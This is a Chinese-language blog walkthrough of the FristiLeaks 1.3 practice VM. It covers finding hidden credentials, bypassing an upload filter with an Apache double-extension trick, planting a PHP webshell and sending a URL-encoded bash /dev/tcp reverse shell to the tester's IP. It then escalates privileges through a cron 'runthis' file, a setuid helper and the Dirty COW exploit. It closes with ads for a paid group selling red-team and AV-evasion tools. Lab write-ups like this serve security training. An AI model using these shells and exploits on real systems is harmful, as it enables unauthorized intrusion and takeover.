首页 > 其他分享 >FristiLeaks_1.3(0基础详解)

FristiLeaks_1.3(0基础详解)

时间:2024-12-22 14:57:56浏览次数:8  
标签:文件 1.3 base64 提权 详解 str 靶机 FristiLeaks 目录

1.将虚拟机导入到vm中,扫描获得此靶机的ip

靶机ip为192.168.55.139

2.进行端口扫描、目录枚举、指纹识别

端口扫描:

目录枚举:

指纹识别:

3.进入靶机网页查看信息

发现网站没有什么信息

目录枚举中有一个robots.txt可以尝试访问一下试试

访问这个文件,发现有三个目录

继续访问这三个目录,结果三个目录全部都是以下内容

将目录枚举的url都打开,发现就这一个有用

抽象靶机在主页的fristi里面藏了后台登录框

尝试在输入框中sql注入,没用,然后再尝试查看网站源代码看看信息了

检查源代码时发现这里有提示

推测账户为eezeepz

这个是图片的超链接

将以上内容在新的页面中打开发现将图片下载下来了

页面源代码后面还有一串代码具有base64特征

将地址栏后面的base64代码进行修改,发现将eezeepz用户的密码下载下来了

使用账号:eezeepz   密码:keKkeKKeKKeKkEkkEk 进行登陆,登陆成功

发现可以进行文件上传

我们可以先尝试尝试php一句话

使用以下php一句话

根据刚刚信息收集的内容,apache 是 2.2.15 版本,有文件解析漏洞。

漏洞原理

由于管理员的错误配置, AddHandler application/x-httpd-php .php,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

由于上传的文件格式有限制,所以将文件命名为111.php.png

得知文件的访问路径

访问路径得知上传成功

接下来我们要考虑进行反弹shell,由于刚刚的一句话木马中使用的函数是POST,这里我选择使用POST传参进行反弹shell

反弹shell命令:1=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.55.129%2F4444%200%3E%261

4.提权

首先进行信息收集

sudo无法提权

查看SUID权限文件

此靶机中不管在哪个目录,cd ~后都回到了/var/www目录下

4.1第一种提权方法

此目录下有一个notes.txt文件,查看该文件信息

得知要去home目录下的eezeepz下清理但是不能删除重要的东西,这个目录下也有notes.txt文件

把一些admin权限的命令让我们使用,需要在tmp文件下创建一个runthis的文件,能被定时任务所捕获

让Jerry的高权限执行以下代码,赋予我们高权限,等待一分钟

echo "/home/admin/chmod 777 /home/admin" >/tmp/runthis

已经有权限进入home目录下了

查看以下两个密文和加密用的代码

首先来分析一下加密函数:

import base64,codecs,sys

def encodeString(str):

    base64string= base64.b64encode(str)

    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])

print cryptoResult

首先将str进行base64编码,然后base64string[::-1]将编码后的字符串进行反转,随后进行13个位置的偏移量进行替换

由此我们可以改写出解密函数:

import base64,codecs,sys

def decodeString(encrypted_str):

 # 先对传入的加密字符串进行rot13解码

  rot13_decoded = codecs.decode(encrypted_str, 'rot13')

# 将经过rot13解码后的内容反转回来(因为加密时进行了反转操作)

  reversed_str = rot13_decoded[::-1]

# 最后进行Base64解码,得到原始字符串

  return base64.b64decode(reversed_str)

encrypted_result = sys.argv[1]

# 获取命令行传入的加密字符串

print(decodeString(encrypted_result))

# 调用解密函数进行解密,并输出结果

成功解密

根据密码明文LetThereBeFristi!,感觉是fristigod或者fristi的密码

成功登陆fristigod用户

不知道为什么我这个靶机用不了这条命令,wp的都可以

也可以查看历史命令执行查看到

随后在/var/fristigod/.secret_admin_stuff/doCom命令后加入其它命令即可执行

提权成功!

4.2第二种方法:脏牛提权

使用命令:searchsploit Linux 2.6.32 | grep -i "Privilege Escalation"查找提权脚本(试了几个不好用)

我们直接使用经典的脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。

我在kali中下载的脚本不能用,去GitHub上下载了一个脚本进行提权https://github.com/firefart/dirtycow/blob/master/dirty.c

编译命令:

gcc -pthread dirty.c -o dirty -lcrypt

首先进行下载,先开启kali的端口

下载脚本,编译并启动

随后输入一个新密码即可

执行脚本后是添加了一个firefart用户(脚本默认添加此用户) 密码是我们自己输入的123

切换用户直接提权成功!

kali魔改版,新增60款工具,需要的兄弟们自取

我用夸克网盘分享了「zss_kali_kde完整版.7z」,点击链接即可保存。打开「夸克APP」,无需下载在线播放视频,畅享原画5倍速,支持电视投屏。

链接:https://pan.quark.cn/s/1b0e2c5f865d

现邀请读者参加我们的帮会,99元即可享受到超多红队工具以及各种资料,包括但不限于“照妖镜”、免杀教程、免杀工具、以及安卓免杀工具(不定期上线)

通过以下二维码进帮会可以私聊笔者

图片

有想报考oscp的读者可以咨询作者,我们泷羽sec目前正在做oscp培训,泷老师带着打100+台靶机,同时还有直播讲解知识点。

图片

标签:文件,1.3,base64,提权,详解,str,靶机,FristiLeaks,目录
From: https://blog.csdn.net/weixin_43433141/article/details/144646747

相关文章

  • DH 密钥交换协议详解
    1.概述   DH(DiffieHellman)密钥交换协议是一种在不安全的通信信道上,通过公开信息安全地交换密钥的方法。它由WhitfieldDiffie和MartinHellman在1976年提出,是密码学领域的一个重要突破,使得在开放网络环境下安全地建立共享密钥成为可能。2.工作原理   基础数学概念......
  • MyBatis-Plus快速入门及详解(看这一篇就够了)
    简介黑马MyBatisPlus教程全套视频教程,快速精通mybatisplus框架(2022年版)基于MyBatisPlus(简称MP)完成标准的Dao开发MP是基于MyBatis框架基础上开发的增强型工具,旨在简化开发,提高效率MyBatis-Plus......
  • MyBatis之mappers详解
    要点环境准备因为从数据库中拿到的数据需要转换为实体类对象,所以需要定义一个pojo来接受和转换数据实体类(pojo)创建完成之后需要创建mapper接口,mapper接口就相当于原来的daomapper接口的命名和实体类名对应,因为myBatis有面向接口编程的功能,所以每当我们调用接......
  • 【JavaScript】Array.from及其相关用法详解
    文章目录一、Array.from方法概述1.方法介绍2.示例演示二、结合实际场景的使用1.初始化二维数组2.从可迭代对象创建数组3.构造特定范围的数组三、注意事项1.类数组对象必须有`length`属性2.回调函数中的索引3.性能注意JavaScript中的Array.from方法......
  • 均方误差损失函数(MSE)和交叉熵损失函数详解
    为什么需要损失函数前面的文章我们已经从模型角度介绍了损失函数,对于神经网络的训练,首先根据特征输入和初始的参数,前向传播计算出预测结果,然后与真实结果进行比较,得到它们之间的差值。损失函数又可称为代价函数或目标函数,是用来衡量算法模型预测结果和真实标签之间吻合程度(误......
  • C#—内建接口: IEnumerable与IEnumerator接口详解
    IEnumerable接口在C#中,IEnumerable是一个泛型接口,它表示一个可以通过IEnumerator迭代器进行迭代枚举的集合。这个接口是非常基础且重要的,因为它允许开发者以一致的方式遍历任何实现了该接口的集合,无论是数组、列表、自定义集合还是LINQ查询的结果。IEnumerable是可迭代类......
  • C#—LINQ详解及汇总
    LINQ详解及汇总LINQ(LanguageIntegratedQuery)是微软的一项技术,允许开发者以一种简洁的方式查询和操作数据,支持多种数据源,包括对象、数据库、XML和数据集。LINQ定义了约40个查询操作符,如select、from、in、where以及orderby等,这些操作符可以编写查询语句,处理各种类型的数据‌......
  • 【JavaScript 漏洞】原型污染详解
    免责声明本号所写文章方法和工具只用于学习和交流,严禁使用文章所述内容中的方法未经许可的情况下对生产系统进行方法验证实施,发生一切问题由相关个人承担法律责任,其与本号无关。什么是原型污染原型污染是一种JavaScript漏洞,它使攻击者能够向全局对象原型添加任意属性,然后这......
  • Pandas教程之三十五:XlsxWriter使用详解(2)
    Python|使用Pandas和XlsxWriter|集合–2PythonPandas是一个数据分析库。它可以读取、过滤和重新排列小型和大型数据集,并以包括Excel在内的多种格式输出它们。Pandas使用XlsxWriter模块写入Excel文件。XlsxWriter是一个用于以XLSX文件格式写入文件的Pyth......
  • 详解 C++ 中的无序容器
    在C++中,无序容器(unorderedcontainers)是指基于哈希表实现的容器,主要特点是元素存储顺序无关,强调高效的插入、删除和查找操作。以下是C++标准库中所有无序容器的详解。无序容器分类C++中的无序容器主要包括以下4类:unordered_setunordered_multisetunordered_mapun......